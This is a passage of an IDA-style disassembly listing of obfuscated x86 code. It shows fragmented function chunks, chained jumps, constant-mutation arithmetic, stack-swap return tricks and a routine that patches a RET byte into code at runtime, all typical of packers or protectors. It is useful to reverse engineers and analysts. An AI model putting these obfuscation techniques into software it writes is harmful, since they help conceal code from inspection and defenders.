; END OF FUNCTION CHUNK	FOR sub_44B81B
; ---------------------------------------------------------------------------

loc_4441CD:				; CODE XREF: y22d6.y.:0043E761j
		ja	loc_443F06
		sub	ecx, 841AA0EEh

; =============== S U B	R O U T	I N E =======================================



sub_4441D9	proc near		; CODE XREF: y22d6.y.:0043DA53p

; FUNCTION CHUNK AT 00437676 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004380B4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F091 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044813D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044B4DB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044C0F2 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0044E417 SIZE 00000018 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	edx
		push	0E72560BCh
		jmp	loc_44E417
sub_4441D9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4441E8	proc near		; CODE XREF: sub_43F501-5582p
					; y22d6.y.:0044BFD5j

; FUNCTION CHUNK AT 00447F38 SIZE 0000000C BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		jmp	loc_447F38
sub_4441E8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_4441F7:				; CODE XREF: y22d6.y.:00437F8Cj
					; sub_43B09B:loc_44AC3Dj
		rol	eax, 17h
		jnb	loc_4461E4
; END OF FUNCTION CHUNK	FOR sub_43B09B
; START	OF FUNCTION CHUNK FOR sub_4419CC

loc_444200:				; CODE XREF: sub_4419CC+1Dj
		jmp	sub_449ECF
; END OF FUNCTION CHUNK	FOR sub_4419CC
; ---------------------------------------------------------------------------
		cdq
		jbe	loc_4393E1
		jmp	loc_4461DB
; ---------------------------------------------------------------------------

loc_444211:				; CODE XREF: y22d6.y.:00443ED7j
		pop	ebx
		sub	esi, 42BED10Dh
		jmp	loc_44D07B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCA9

loc_44421D:				; CODE XREF: sub_43BCA9-4A23j
		or	esi, 0ABF3A8D4h
		jmp	loc_43AFF5
; END OF FUNCTION CHUNK	FOR sub_43BCA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4475B3

loc_444228:				; CODE XREF: sub_4475B3-462Bj
		pop	ecx
		or	ecx, 0E49BC6B3h
		rol	ecx, 2
		xor	ecx, 55A576FAh
		jmp	loc_4450E7
; END OF FUNCTION CHUNK	FOR sub_4475B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB81

loc_44423D:				; CODE XREF: sub_44DB81:loc_445F7Dj
		jz	loc_44E045
		jmp	loc_43B10F
; END OF FUNCTION CHUNK	FOR sub_44DB81
; ---------------------------------------------------------------------------
		mov	[esi], ebp
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44424A:				; CODE XREF: sub_448EB6:loc_44707Bj
		jmp	sub_4383E0
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_44424F:				; CODE XREF: y22d6.y.:loc_4398C5j
		jmp	ds:dword_41E0EC
; ---------------------------------------------------------------------------

loc_444255:				; CODE XREF: y22d6.y.:00442195j
		jmp	locret_43CFE0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_358. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		sbb	al, 24h
		mov	edx, ebx
		pop	ebx
		js	loc_43C1AA
		jmp	loc_447405
; ---------------------------------------------------------------------------

loc_44426B:				; CODE XREF: y22d6.y.:loc_44D417j
		rol	esi, 3
		and	esi, 9F0F0C82h
		rol	esi, 0Eh
		add	esi, 7F242085h
		xchg	esi, [esp]
		jmp	loc_447CB9
; ---------------------------------------------------------------------------
		db 9, 0C0h
; ---------------------------------------------------------------------------
		jmp	loc_4373F4
; ---------------------------------------------------------------------------

loc_44428C:				; CODE XREF: y22d6.y.:loc_44E1ECj
					; y22d6.y.:0044E20Aj
		add	edi, 0A62DD1D9h
		xchg	edi, [esp]
		jmp	loc_43F9B7
; ---------------------------------------------------------------------------
		align 4
		jmp	loc_43FA2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4499F4

loc_4442A1:				; CODE XREF: sub_4499F4+4j
		mov	edx, ds:dword_440E84
		or	edx, edx
		jnz	loc_44C706
		jmp	loc_443497
; END OF FUNCTION CHUNK	FOR sub_4499F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A041

loc_4442B4:				; CODE XREF: sub_43A041+4j
		add	edx, 14h
		push	offset loc_44BEC2
		jmp	loc_43FD95
; END OF FUNCTION CHUNK	FOR sub_43A041
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4385ED

loc_4442C1:				; CODE XREF: sub_4385ED:loc_44C14Ej
		and	edx, 0E8267E30h
		push	offset loc_43944C
		jmp	loc_449C8D
; END OF FUNCTION CHUNK	FOR sub_4385ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C538

loc_4442D1:				; CODE XREF: sub_43C538+Ej
		call	sub_449296

loc_4442D6:				; CODE XREF: sub_44CCBC+9j
		jmp	sub_448E18
; END OF FUNCTION CHUNK	FOR sub_43C538
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4442DB:				; CODE XREF: sub_4432B8+2CDj
		pop	eax
		add	eax, 261C1150h
		rol	eax, 14h
		push	offset sub_439F5A
		jmp	loc_444FCD
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_4442EF:				; CODE XREF: y22d6.y.:00446287j
		jz	loc_43C0CF
		jmp	loc_43B85C
; ---------------------------------------------------------------------------

loc_4442FA:				; CODE XREF: y22d6.y.:0043E4C8j
		mov	edx, ebp
		push	offset loc_442D3D
		jmp	loc_4489C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447940

loc_444306:				; CODE XREF: sub_447940:loc_43AC83j
		add	edx, 6F64AF13h
		mov	[edx], eax
		call	sub_4383E0

loc_444313:				; CODE XREF: sub_43E3BD+2632j
		jmp	loc_44B2B8
; END OF FUNCTION CHUNK	FOR sub_447940
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_444318:				; CODE XREF: sub_44B17B-10F4Ej
		jle	loc_44D797
		xchg	edi, [esi]
		mov	eax, [ebx]
		sbb	ebx, eax
		jmp	loc_441870
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------

loc_444329:				; CODE XREF: y22d6.y.:0044DA13j
		jbe	loc_442024
		push	esi
		shl	ecx, 12h
		sub	edx, eax

loc_444335:				; CODE XREF: y22d6.y.:loc_44DA07j
		call	sub_441FB5

loc_44433A:				; CODE XREF: y22d6.y.:00442C77j
		jmp	locret_438BA9
; ---------------------------------------------------------------------------

loc_44433F:				; DATA XREF: sub_4397E6+107DAo
		mov	eax, [ebp-4]
		mov	al, [eax]
		jb	loc_43F8D4
		sub	al, 99h
		mov	edx, [ebp-4]
		jmp	loc_43F75A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_444354:				; CODE XREF: sub_44B1D2-117Bj
		jnz	loc_44E112
		jmp	loc_43B6C7
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------

locret_44435F:				; CODE XREF: y22d6.y.:0043B512j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B43

loc_444360:				; CODE XREF: sub_437B43+10475j
		jmp	loc_4432B1
; END OF FUNCTION CHUNK	FOR sub_437B43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FF1B

loc_444365:				; CODE XREF: sub_43FF1B+Ej
		push	esi
		push	0A4DD96F6h
		pop	esi
		rol	esi, 1Dh
		sub	esi, 0A78AA3E9h
		add	esi, 7C7D5942h
		xor	esi, 424B79DDh
		jmp	loc_447784
; END OF FUNCTION CHUNK	FOR sub_43FF1B
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		call	sub_4480DE
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439407

loc_44438F:				; CODE XREF: sub_439407+10536j
		jmp	loc_440A7D
; END OF FUNCTION CHUNK	FOR sub_439407
; ---------------------------------------------------------------------------
dword_444394	dd 0B6F98E2Eh		; DATA XREF: sub_44B635:loc_443A69r
					; sub_44B635+6r
; ---------------------------------------------------------------------------

loc_444398:				; CODE XREF: y22d6.y.:0044CCE9j
		jmp	loc_44B2CD

; =============== S U B	R O U T	I N E =======================================



sub_44439D	proc near		; CODE XREF: sub_401000+40p
					; sub_401000+50p ...

; FUNCTION CHUNK AT 00439801 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B0FD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D97C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043FEBB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440667 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440781 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044292E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00443AF4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044583E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00446170 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446464 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004488D2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044B553 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044C684 SIZE 00000011 BYTES

		jo	loc_43D97C
		push	offset loc_449A0D
		jmp	loc_439801
sub_44439D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4443AD	proc near		; DATA XREF: sub_43B006+12F82o

; FUNCTION CHUNK AT 0044BCBD SIZE 00000005 BYTES

		mov	ds:off_41E204, eax
		lea	eax, loc_440A66
		mov	byte ptr [eax],	0C3h
		jmp	loc_44BCBD
sub_4443AD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D7E0

loc_4443C1:				; CODE XREF: sub_44D7E0:loc_440A66j
		pop	edx
		jmp	loc_43AC18
; END OF FUNCTION CHUNK	FOR sub_44D7E0
; ---------------------------------------------------------------------------
		mov	[edx], ecx
		jmp	sub_44BB81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C02C

loc_4443CE:				; CODE XREF: sub_44C02C-FAD6j
		adc	ebx, 8DDCAAC7h

loc_4443D4:				; CODE XREF: sub_44C02C:loc_43F6BAj
		call	sub_43FEC6
; END OF FUNCTION CHUNK	FOR sub_44C02C
; START	OF FUNCTION CHUNK FOR sub_44AA69

loc_4443D9:				; CODE XREF: sub_44AA69+18j
		jmp	loc_437697
; END OF FUNCTION CHUNK	FOR sub_44AA69
; ---------------------------------------------------------------------------

loc_4443DE:				; CODE XREF: y22d6.y.:00440C49j
		jmp	loc_43DDF6
; ---------------------------------------------------------------------------

loc_4443E3:				; CODE XREF: y22d6.y.:0043EA08j
		jmp	loc_43ADCD
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E0E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444131

loc_4443EE:				; CODE XREF: sub_444131-4EE2j
		jmp	sub_4425E0
; END OF FUNCTION CHUNK	FOR sub_444131
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_198. PRESS KEYPAD	"+" TO EXPAND]
		dd 9C7684h, 0B0E85A00h
; ---------------------------------------------------------------------------
		or	eax, 0C60000h	; DATA XREF: sub_44D2DA+Bo
		retn
; ---------------------------------------------------------------------------
		jmp	loc_442558
; ---------------------------------------------------------------------------
		push	edi
		push	3568AAFh
		pop	edi
		sub	edi, 0D5CAB827h
		rol	edi, 0Bh
		jmp	loc_44CF82

; =============== S U B	R O U T	I N E =======================================



sub_44441C	proc near		; CODE XREF: sub_40300B+C8p
					; sub_44441C+5j
					; DATA XREF: ...
		call	sub_444427
		jmp	ds:off_41E200
sub_44441C	endp


; =============== S U B	R O U T	I N E =======================================



sub_444427	proc near		; CODE XREF: sub_4408F2:loc_439628j
					; y22d6.y.:0043F9DBj ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043986E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00439B59 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043CF33 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E2B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EEAF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043F0C4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043FCA6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00441665 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00441962 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441A50 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441EAA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044231A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044250C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00442AF3 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00442CAF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044396B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044704C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00447C24 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004482E0 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0044926F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00449910 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D4ED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E573 SIZE 00000012 BYTES

		jno	loc_447C24
		pop	edx
		mov	eax, [esp+0]
		push	ecx
		jmp	loc_44D4ED
sub_444427	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_444437	proc near		; DATA XREF: y22d6.y.:0043D6C1o
		xchg	ecx, [esp+0]
		jmp	sub_43CA1A
sub_444437	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4BB

loc_44443F:				; CODE XREF: sub_43F4BB+Aj
					; y22d6.y.:0043FD75j
		or	ebx, 0A1C3FA58h
		xor	ebx, 0B95C02DDh
		add	ebx, 0F3881681h
		push	offset sub_44C703
		jmp	nullsub_353
; END OF FUNCTION CHUNK	FOR sub_43F4BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAC6

loc_44445B:				; CODE XREF: sub_43FAC6+E257j
		jge	loc_43EBA1
		cmp	ecx, 91D1DD60h
		jmp	loc_43EB90
; END OF FUNCTION CHUNK	FOR sub_43FAC6
; ---------------------------------------------------------------------------

loc_44446C:				; CODE XREF: y22d6.y.:loc_442282j
		cmp	edx, 0EFED91A2h
		jmp	loc_43926A
; ---------------------------------------------------------------------------

locret_444477:				; CODE XREF: y22d6.y.:0044D9A2j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44807C

loc_444478:				; CODE XREF: sub_44807C-1098Fj
		jmp	loc_43C404
; END OF FUNCTION CHUNK	FOR sub_44807C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44447D:				; CODE XREF: sub_4432B8:loc_43D020j
		jz	loc_442334
		jmp	loc_44ABE3
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_444488:				; CODE XREF: y22d6.y.:0044D9B4j
		adc	esi, 0E47C1EEFh
		jnp	loc_44C21D
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_444494:				; CODE XREF: sub_448C77:loc_44D9A7j
		and	ebx, 0D36A0AB8h
		or	ebx, 419B4985h

loc_4444A0:				; CODE XREF: y22d6.y.:loc_449BD1j
		rol	ebx, 1Ah
		add	ebx, 6AF44904h
		xchg	ebx, [esp+8+var_8]
		jmp	sub_43EF0B
; END OF FUNCTION CHUNK	FOR sub_448C77

; =============== S U B	R O U T	I N E =======================================



sub_4444B1	proc near		; CODE XREF: sub_442FA7-69CBp
					; y22d6.y.:0043D34Fj
		xchg	edi, [esp+0]
		pop	edi
		add	eax, [ebp-4]
		xor	edx, edx
		jmp	loc_43D9D8
sub_4444B1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D313

loc_4444BF:				; CODE XREF: sub_44D313:loc_4426C9j
		push	offset sub_4494C8
		jmp	loc_445A55
; END OF FUNCTION CHUNK	FOR sub_44D313
; ---------------------------------------------------------------------------
		push	0AD33E3BDh

; =============== S U B	R O U T	I N E =======================================



sub_4444CE	proc near		; CODE XREF: sub_44485F+94E4p

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [eax+0Ch]
		call	sub_446236

loc_4444DA:				; CODE XREF: y22d6.y.:0044E2B1j
		add	edx, 479DAE36h
		xchg	esi, ebp

loc_4444E2:				; CODE XREF: sub_4416CB:loc_44E29Fj
		sub	esi, 0B6EE052Ah
		xor	esi, 0D363425Dh
		add	esi, 84B7B090h
		xchg	esi, [esp-4+arg_0]
		jmp	loc_44BA68
sub_4444CE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, 19EDC823h
		jmp	loc_447CAA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_218. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_444507:				; CODE XREF: sub_439051+9Bj
		jmp	loc_44582D
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_44450C:				; CODE XREF: sub_438B66:loc_43F7F0j
		xor	edx, 9183C6EBh
		call	sub_43C1F5
; END OF FUNCTION CHUNK	FOR sub_438B66
; START	OF FUNCTION CHUNK FOR sub_447896

loc_444517:				; CODE XREF: sub_447896+2DE7j
		jmp	loc_442658
; END OF FUNCTION CHUNK	FOR sub_447896
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_44451C:				; CODE XREF: sub_44271A-51A4j
		jmp	loc_43D36E
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D45

loc_444521:				; CODE XREF: sub_444D45:loc_43CD11j
		rol	edi, 0Eh
		or	edi, 0C215B91Ch
		add	edi, 6A7DBF33h
		rol	edi, 1
		add	edi, 6B5D0697h
		xchg	edi, [esp-4+arg_0]
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_444D45
; ---------------------------------------------------------------------------

loc_444540:				; CODE XREF: y22d6.y.:00438430j
		pushf

; =============== S U B	R O U T	I N E =======================================



sub_444541	proc near		; CODE XREF: sub_44DB71+4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437D1A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00438F08 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439FC6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A154 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043C1CC SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0043C850 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004407F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044767E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00447A84 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A743 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0044D5D7 SIZE 00000018 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		call	sub_44B674
		jmp	loc_4407F0
sub_444541	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_44454F:				; CODE XREF: sub_44B489:loc_44034Fj
		jz	loc_443D8D
		pop	esi
		jmp	loc_4420C4
; END OF FUNCTION CHUNK	FOR sub_44B489
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_222. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43704E

loc_44455C:				; CODE XREF: sub_43704E+C9D6j
		jmp	loc_439BF8
; END OF FUNCTION CHUNK	FOR sub_43704E
; ---------------------------------------------------------------------------

loc_444561:				; CODE XREF: y22d6.y.:0043CEBAj
		jmp	loc_4416D1
; ---------------------------------------------------------------------------
		dw 0E222h
dword_444568	dd 77E60000h		; DATA XREF: sub_448EB6-B876w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C7C1

loc_44456C:				; CODE XREF: sub_43C7C1+F59Ej
		jmp	loc_44D1B3
; END OF FUNCTION CHUNK	FOR sub_43C7C1
; ---------------------------------------------------------------------------
		db 75h,	6Fh, 0FDh
; ---------------------------------------------------------------------------

loc_444574:				; DATA XREF: y22d6.y.:0043E64Fo
					; y22d6.y.:00448867o
		dec	ebx
		mov	ds:265172A4h, al
		inc	si
		pop	esp
		enter	36D8h, 0

; =============== S U B	R O U T	I N E =======================================



sub_444581	proc near		; CODE XREF: sub_43872E:loc_4385A7p
					; sub_438399+F97j ...

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437AE5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043879F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438EE4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00439040 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439133 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439A4D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043B348 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043B95A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043F254 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0043FA87 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043FD9A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00441046 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00441B00 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441BE3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442758 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004436D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444784 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00449773 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00449DC7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044A2B2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B55E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C4A8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044CDD2 SIZE 00000005 BYTES

		jo	loc_43FA87
		jmp	loc_449DC7
sub_444581	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		shr	edx, 15h
		xchg	eax, [ecx]
		pop	esi
		jmp	loc_43DD91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441A2B

loc_444597:				; CODE XREF: sub_441A2B:loc_437117j
		jge	loc_443451

loc_44459D:				; CODE XREF: y22d6.y.:0044BE43j
		jmp	nullsub_73
; END OF FUNCTION CHUNK	FOR sub_441A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438DAA

loc_4445A2:				; CODE XREF: sub_438DAA+50BEj
		jmp	sub_4428AA
; END OF FUNCTION CHUNK	FOR sub_438DAA
; ---------------------------------------------------------------------------
		test	edi, 338138E2h
		jmp	loc_44E080
; ---------------------------------------------------------------------------

loc_4445B2:				; CODE XREF: y22d6.y.:loc_43DBBBj
		jmp	ds:dword_41E0CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4445B8:				; CODE XREF: sub_448EB6+3A66j
		jmp	loc_43E3DD
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447BB2

loc_4445BD:				; CODE XREF: sub_447BB2-330Aj
		jmp	loc_44B34F
; END OF FUNCTION CHUNK	FOR sub_447BB2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_341. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		cmp	al, 24h
		mov	edx, edi
		pop	edi
		jnb	loc_447B79
		mov	eax, [esp]
		push	ecx
		mov	ecx, edx
		jmp	loc_43C672
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F750

loc_4445D9:				; CODE XREF: sub_43F750+B276j
		adc	ecx, 2097E204h
		cmp	ebx, edx
		jmp	loc_4407DC
; END OF FUNCTION CHUNK	FOR sub_43F750
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444F37

loc_4445E6:				; CODE XREF: sub_444F37:loc_438669j
		xor	eax, 3ADCE2E8h
		cmp	eax, 59A2C898h
		jmp	loc_439B15
; END OF FUNCTION CHUNK	FOR sub_444F37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E5C2

loc_4445F7:				; CODE XREF: sub_43E5C2:loc_441A4Aj
		push	edx
		jmp	loc_44A6EF
; END OF FUNCTION CHUNK	FOR sub_43E5C2

; =============== S U B	R O U T	I N E =======================================



sub_4445FD	proc near		; CODE XREF: y22d6.y.:00438743j
					; y22d6.y.:0043CADDp
		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [eax]
		call	sub_4421D3
sub_4445FD	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43CB9B

loc_444608:				; CODE XREF: sub_43CB9B:loc_44983Cj
		push	edx
		call	sub_444822

loc_44460E:				; CODE XREF: y22d6.y.:00449750j
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_43CB9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D9D2

loc_444613:				; CODE XREF: sub_43D9D2+3977j
		jmp	loc_439E72
; END OF FUNCTION CHUNK	FOR sub_43D9D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438DAA

loc_444618:				; CODE XREF: sub_438DAA+17j
		jmp	loc_43DE53
; END OF FUNCTION CHUNK	FOR sub_438DAA
; ---------------------------------------------------------------------------

loc_44461D:				; CODE XREF: y22d6.y.:00439740j
		or	eax, 0D64D0987h
		add	eax, 20F6BA3Dh
		call	sub_4456C2
		mov	[edi], edx
		xchg	ebp, edx
		jmp	sub_43DABB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_335. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_444638:				; CODE XREF: sub_448EB6+29Fj
		jmp	loc_43AF70
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448488

loc_44463D:				; CODE XREF: sub_448488+1j
		jmp	loc_441882
; END OF FUNCTION CHUNK	FOR sub_448488
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438FBB

loc_444642:				; CODE XREF: sub_438FBB+6j
		jmp	nullsub_71
; END OF FUNCTION CHUNK	FOR sub_438FBB
; ---------------------------------------------------------------------------

loc_444647:				; CODE XREF: y22d6.y.:00437D37j
		jmp	loc_441C72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F35E

loc_44464C:				; CODE XREF: sub_43F35E:loc_443EDDj
		xchg	edx, [ecx]
		jmp	loc_44283B
; END OF FUNCTION CHUNK	FOR sub_43F35E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_174. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4411BD

loc_444654:				; CODE XREF: sub_4411BD+Aj
		jmp	loc_439ECE
; END OF FUNCTION CHUNK	FOR sub_4411BD
; ---------------------------------------------------------------------------

loc_444659:				; CODE XREF: y22d6.y.:0043DDA0j
		jmp	loc_44DA07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CFF2

loc_44465E:				; CODE XREF: sub_43CFF2:loc_445067j
		pop	edx
		push	esi
		push	0E3164581h
		xchg	eax, [esp-0Ch+arg_8]
		mov	esi, eax
		jmp	loc_43CA15
; END OF FUNCTION CHUNK	FOR sub_43CFF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_44466F:				; CODE XREF: sub_44057E:loc_43A71Cj
		jns	loc_43EE44
		cdq
		shr	ebx, 19h
		jmp	loc_445055
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
		shr	esi, 0Bh
		jmp	loc_4499EE

; =============== S U B	R O U T	I N E =======================================



sub_444686	proc near		; CODE XREF: y22d6.y.:0043CB6Cj
					; y22d6.y.:0044570Ep
		xchg	ecx, [esp+0]
sub_444686	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43B252

loc_444689:				; CODE XREF: sub_43B252+317Aj
		pop	ecx
		or	eax, eax
		jnz	loc_4415BC
		jmp	loc_44485A
